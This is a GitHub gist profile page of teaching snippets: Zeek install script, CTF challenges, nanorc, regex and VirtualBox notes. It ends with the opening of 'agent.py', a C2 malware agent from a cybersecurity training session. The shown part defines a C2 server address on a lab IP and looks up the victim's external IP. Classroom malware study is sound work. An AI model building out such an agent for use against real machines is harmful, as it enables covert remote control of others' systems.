Skip to content

Instantly share code, notes, and snippets.

View ShyftXero's full-sized avatar

Eli McRae ShyftXero

View GitHub Profile

Keybase proof

I hereby claim:

  • I am shyftxero on github.
  • I am shyftxero (https://keybase.io/shyftxero) on keybase.
  • I have a public key ASBq4nm2cczIDpK7slh_DJyecL8tEL87cKvnxg1lrQ_Blwo

To claim this, I am signing this object:

@ShyftXero
ShyftXero / install_zeek.sh
Last active February 15, 2022 17:27
install latest zeek nsm repo on kali 2020.1 (Debian Testing)
sudo ls
if test $(lsb_release -c | grep -o kali); then
echo on kali;
echo 'deb http://download.opensuse.org/repositories/security:/zeek/Debian_Testing/ /' |sudo tee -a /etc/apt/sources.list.d/security:zeek.list;
wget -nv https://download.opensuse.org/repositories/security:zeek/Debian_Testing/Release.key -O Release.key;
else
echo not on kali;
# For ubuntu base system rather than Debian
echo 'deb http://download.opensuse.org/repositories/security:/zeek/xUbuntu_21.10/ /' |sudo tee -a /etc/apt/sources.list.d/security:zeek.list;
@ShyftXero
ShyftXero / b7.txt
Created August 7, 2020 18:11
byoct_b7_demo_challenge
0=1 1=! 2=i 3=I 4=l 5=L 6=| 7=1! 8=!! 9=i! 10=I! 11=l! 12=L! 13=|! 14=1i 15=!i 16=ii 17=Ii 18=li 19=Li 20=|i 21=1I 22=!I 23=iI 24=II 25=lI 26=LI 27=|I 28=1l 29=!l 30=il 31=Il 32=ll 33=Ll 34=|l 35=1L 36=!L 37=iL 38=IL 39=lL 40=LL 41=|L 42=1| 43=!| 44=i| 45=I| 46=l| 47=L| 48=||
--------
-7 -1!
-6 -|
-5 -L
-4 -l
-3 -I
-2 -i
-1 -!
0 1
@ShyftXero
ShyftXero / .nanorc
Last active August 20, 2023 18:35
A good nanorc file
# Options
set tabsize 4
set tabstospaces
set indicator # side-bar for indicating cur position
set linenumbers
#set numbercolor green,normal
#set suspendable # allow nano be suspended
set smarthome # home jumps to line start first
set zap # delete selected text as a whole
@ShyftXero
ShyftXero / leaky_flag.py
Last active April 13, 2021 16:33
leaky starter code
import requests
import bs4
# you are searching for a message that starts with 'FLAG{' and ends in '}'
url = 'https://leaky.shyft.us'
sess = requests.session()
ab = [chr(x) for x in range(0, 255) if chr(x).isprintable()]
print(ab)
#! python3
# phoneAndEmail.py - Finds phone numbers and email addresses on the clipboard.
# Site to test against: https://dese.ade.arkansas.gov/Offices/ar-comp-sci-initiative/statewide-computer-science-specialists
import pyperclip, re
# Create phone number regex with or without area code, but uses a '-' seperator.
phoneRegex = re.compile(r''' EXPRESSION HERE ''', re.VERBOSE)

Super slick commands for virutalbox machine management

Start / Stop a pcap at the VM level for a guest machine. (not having to route traffic through another box to capture; works in NAT)

  • Start pcap
    • vboxmanage controlvm "vm_name_here" nictrace1 on
  • Stop pcap
    • vboxmanage controlvm "vm_name_here" nictrace1 off

A file VBox-<5_hex_digits>.pcap will be created. don't know the significance of the digits. They don't seem to be the mac

import os
from time import sleep
# try:
# my_animals_file = open('other_animals.txt', 'r')
# for line in my_animals_file.readlines():
# print(line.strip() )
# my_animals_file.close()yword found in text
# some_bucket = "Eli"
# list_of_people = [ some_bucket, "Thomas Jefferson", "wallace and grommit" ]
# print(list_of_people) ### puts on screen
# list_of_servers = [
# "webserver 1",
# "databaseserver 3",
# "ftp_server",
@ShyftXero
ShyftXero / agent.py
Created July 15, 2021 22:42
ACS - our malware from adv cybersecurity PD on 15JUL21
# pip3 install -U requests
import requests
import time
import subprocess
C2_SERVER = 'http://10.0.2.15:5000/' # our kali machines IP address
def get_ext_ip():
response = requests.get('https://ifconfig.me/all.json')